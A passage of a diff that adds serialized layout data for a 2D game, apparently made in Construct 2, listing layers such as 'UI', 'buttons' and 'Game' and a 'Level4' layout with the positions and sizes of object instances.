+ []
+ ],
+ 374,
+ 5792,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3566,
+ 963,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5793,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2829.97900390625,
+ 898.7730712890625,
+ 0,
+ 368.4263916015625,
+ 602.5943603515625,
+ 0,
+ -1.029744625091553,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5795,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1083.228515625,
+ 862.9945068359375,
+ 0,
+ 119,
+ 323,
+ 0,
+ -1.029744625091553,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5796,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3833,
+ 920.0238037109375,
+ 0,
+ 111,
+ 303,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5011876225471497,
+ 0,
+ 0,
+ []
+ ],
+ 547,
+ 6616,
+ [],
+ [],
+ [
+ 0,
+ "pega",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3753,
+ 1020,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5787,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1505.6123046875,
+ 489.2138366699219,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 6630,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3840.770263671875,
+ 554.239990234375,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 6632,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "buttons",
+ 6,
+ 230737699955055,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "UI",
+ 7,
+ 882924735797914,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -1269,
+ -269,
+ 0,
+ 802,
+ 482,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 356,
+ 843,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 60,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.5051546096801758,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 361,
+ 844,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 189,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 362,
+ 845,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 740.5921630859375,
+ 416.3991088867188,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 363,
+ 846,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 402.1549987792969,
+ 23.50900077819824,
+ 0,
+ 118,
+ 36,
+ 0,
+ 0,
+ 1,
+ 0.5254237055778503,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 365,
+ 847,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 401.1548156738281,
+ 61.50856018066406,
+ 0,
+ 107,
+ 36,
+ 0,
+ 0,
+ 1,
+ 0.5046728849411011,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 326,
+ 840,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 388.1548156738281,
+ -1.491439819335938,
+ 0,
+ 414,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 355,
+ 841,
+ [],
+ [],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "0",
+ 0.45,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -30,
+ 0
+ ]
+ ],
+ [
+ [
+ 27.15481567382813,
+ 21.50856018066406,
+ 0,
+ 42.14814376831055,
+ 37.89653015136719,
+ 0,
+ 0,
+ 1,
+ 0.4888888895511627,
+ 0.4210526347160339,
+ 0,
+ 0,
+ []
+ ],
+ 381,
+ 848,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 119.1548156738281,
+ 24.50856018066406,
+ 0,
+ 39,
+ 39,
+ 0,
+ 0,
+ 1,
+ 0.7179487347602844,
+ 0.5128205418586731,
+ 0,
+ 0,
+ []
+ ],
+ 450,
+ 849,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 75.15481567382812,
+ 24.50856018066406,
+ 0,
+ 36,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.6388888955116272,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 446,
+ 4835,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 401,
+ 442,
+ 0,
+ 228,
+ 61,
+ 0,
+ 0,
+ 1,
+ 0.5043859481811523,
+ 0.5081967115402222,
+ 0,
+ 0,
+ []
+ ],
+ 327,
+ 5772,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 400,
+ 229,
+ 0,
+ 904.1318359375,
+ 543.3809814453125,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 357,
+ 842,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 875,
+ -106,
+ 0,
+ 100,
+ 100,
+ 0,
+ 2.381202459335327,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 538,
+ 5794,
+ [],
+ [],
+ [
+ 50,
+ 80,
+ 0,
+ 300,
+ 16,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0,
+ 0,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 10
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Collisionsidle",
+ 8,
+ 409975145086714,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Rotate Screen",
+ 9,
+ 529987199706069,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 400,
+ 240,
+ 0,
+ 800,
+ 480,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 62,
+ 1219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ]
+ ],
+ [],
+ []
+ ],
+ [
+ "Level4",
+ 5400,
+ 1500,
+ false,
+ "Gameplay1",
+ 400212548359536,
+ [
+ [
+ "fondo",
+ 0,
+ 257110553108854,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.699999988079071,
+ 0.800000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -9,
+ -14,
+ 0,
+ 10112,
+ 1814,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 306,
+ 640,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Background5",
+ 1,
+ 756059193782404,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -24,
+ -187,
+ 0,
+ 7497,
+ 573,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 331,
+ 870,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -678,
+ 625,
+ 0,
+ 141,
+ 136,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 349,
+ 871,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 5417.18359375,
+ 493.0818786621094,
+ 0,
+ 40,
+ 800,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 872,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -19,
+ 749,
+ 0,
+ 40,
+ 1514,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 873,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Layer 0",
+ 2,
+ 403502646809847,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.05000000074505806,
+ 0.300000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 280,
+ 109,
+ 0,
+ 250,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 309,
+ 874,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "fondo2",
+ 3,
+ 109451752252724,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.800000011920929,
+ 0.8500000238418579,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Layer 1",
+ 4,
+ 491562957153661,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.8999999761581421,
+ 0.8999999761581421,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 5,
+ 737,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1068,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 331,
+ 980,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1069,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1038,
+ 1005,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1070,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2926,
+ 925,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1071,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3680,
+ 1009,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1072,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3772,
+ 940,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1073,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4385,
+ 1107,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1074,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4856,
+ 1043,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1075,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5102,
+ 1140,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1076,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2095,
+ 1058,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1077,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1749,
+ 1004,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1078,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 740,
+ 1272,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1085,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4068,
+ 1377,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1084,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3150,
+ 1240,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1081,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1867,
+ 540,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1080,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1354,
+ 835,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1079,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 256,
+ 749,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1062,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 193,
+ 2468,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1158,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4674,
+ 1317,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1082,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5038,
+ 1348,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1083,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Game",
+ 5,
+ 176325437586231,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 3900,
+ 851,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1104,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3996.24658203125,
+ 588.5313720703125,
+ 0,
+ 92,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 546,
+ 6617,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 209,
+ 961,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1093,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 316,
+ 1115,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1094,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9,
+ 712,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1086,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 265,
+ 738,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 751,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 82,
+ 737,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1107,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5425,
+ 845,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1106,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5393.8017578125,
+ 642.5233764648438,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 1157,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5054.3662109375,
+ 640.99951171875,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 1156,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4632.21240234375,
+ 638.6936645507812,
+ 0,
+ 85.79400634765625,
+ 47.27424621582031,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1155,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4849.224609375,
+ 768.4396362304688,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1154,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4364.44921875,
+ 641.0987548828125,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1153,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4318,
+ 673,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1105,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4286.5546875,
+ 639.7381591796875,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 1152,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3968.565185546875,
+ 856.6939086914062,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1151,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3686.6142578125,
+ 949.35107421875,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 1150,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3210.817626953125,
+ 947.1450805664062,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1141,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2899,
+ 1053,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1097,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2985.6103515625,
+ 875.15576171875,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1133,
+ [],
